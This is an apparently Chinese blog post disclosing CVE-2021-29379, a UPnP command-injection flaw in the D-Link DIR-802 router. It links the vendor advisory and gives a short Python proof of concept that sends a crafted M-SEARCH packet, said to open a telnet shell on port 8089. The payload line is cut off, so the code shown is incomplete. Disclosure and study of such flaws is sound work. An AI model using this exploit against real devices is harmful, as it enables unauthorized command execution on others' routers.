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384 字
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提交个漏洞
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<h3 id="D-LINK-DIR-802-命令注入漏洞"><a href="#D-LINK-DIR-802-命令注入漏洞" class="headerlink" title="D-LINK DIR-802 命令注入漏洞"></a>D-LINK DIR-802 命令注入漏洞</h3><blockquote>
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<p>by Cool</p>
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<h4 id="漏洞已提交厂商"><a href="#漏洞已提交厂商" class="headerlink" title="漏洞已提交厂商"></a>漏洞已提交厂商</h4><p><a href="https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10206" target="_blank" rel="noopener">https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10206</a><br><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29379" target="_blank" rel="noopener">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29379</a></p>
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<h4 id="漏洞类型"><a href="#漏洞类型" class="headerlink" title="漏洞类型"></a>漏洞类型</h4><p>CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)</p>
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<h4 id="受影响设备及软件版本"><a href="#受影响设备及软件版本" class="headerlink" title="受影响设备及软件版本"></a>受影响设备及软件版本</h4><p>DIR-802 hardware revision Ax before v1.00b05<br><a href="https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1300450&fileName=DIR802_FW100b05.zip&fileSize=6163759.0" target="_blank" rel="noopener">https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1300450&fileName=DIR802_FW100b05.zip&fileSize=6163759.0</a>;</p>
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<h4 id="漏洞概要"><a href="#漏洞概要" class="headerlink" title="漏洞概要"></a>漏洞概要</h4><p>DIR-802中存在一个命令注入漏洞，攻击者可以通过精心制作的M-SEARCH数据包向UPnP注入任意命令。</p>
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<h4 id="漏洞详情"><a href="#漏洞详情" class="headerlink" title="漏洞详情"></a>漏洞详情</h4><p>与CVE-2020-15893相似，在固件版本v-1.00b05之前的D-Link DIR-802 A1上发现了一个问题。默认情况下，端口1900上启用了通用即插即用（UPnP）。攻击者可以通过将有效负载注入SSDP M-SEARCH发现数据包的“搜索目标”（ST）字段来执行命令注入。</p>
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<h4 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># coding: utf-8</span></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line">buf = <span class="string">'M-SEARCH * HTTP/1.1\r\nHOST:192.168.0.1:1900\r\nST:urn:schemas-upnp-org:service</span></span><br><span class="line"><span class="string">s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span></span><br><span class="line"><span class="string">s.connect(("192.168.0.1", 1900))</span></span><br><span class="line"><span class="string">s.send(buf)</span></span><br><span class="line"><span class="string">s.close()</span></span><br></pre></td></tr></table></figure>
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<h4 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h4><p>使用firmadyne进行固件模拟，运行UPnP服务<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1614665628/cve/carbon.png"></p>
|
||
<p>攻击者可以是连接到路由器局域网内并且能够向UPnP端口发送请求的任何人。可以通过编写简单的python脚本将精心制作的数据包发送到特定的upnp端口，该脚本随后将作为精心制作的请求的一部分执行提供的命令。共享的POC将打开端口8089上的telnet服务。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1614665899/cve/carbon_1.png"></p>
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||
pbOptions = {};
|
||
|
||
pbOptions.iconStyle = "box";
|
||
|
||
pbOptions.boxForm = "horizontal";
|
||
|
||
pbOptions.position = "bottomCenter";
|
||
|
||
pbOptions.networks = "Weibo,Wechat,Douban,QQZone,Twitter,Facebook";
|
||
|
||
new needShareButton('#needsharebutton-postbottom', pbOptions);
|
||
|
||
|
||
flOptions = {};
|
||
|
||
flOptions.iconStyle = "box";
|
||
|
||
flOptions.boxForm = "horizontal";
|
||
|
||
flOptions.position = "middleRight";
|
||
|
||
flOptions.networks = "Weibo,Wechat,Douban,QQZone,Twitter,Facebook";
|
||
|
||
new needShareButton('#needsharebutton-float', flOptions);
|
||
|
||
</script>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<script type="text/javascript" src="/js/src/js.cookie.js?v=5.1.4"></script>
|
||
<script type="text/javascript" src="/js/src/scroll-cookie.js?v=5.1.4"></script>
|
||
|
||
|
||
|
||
|
||
</body>
|
||
</html>
|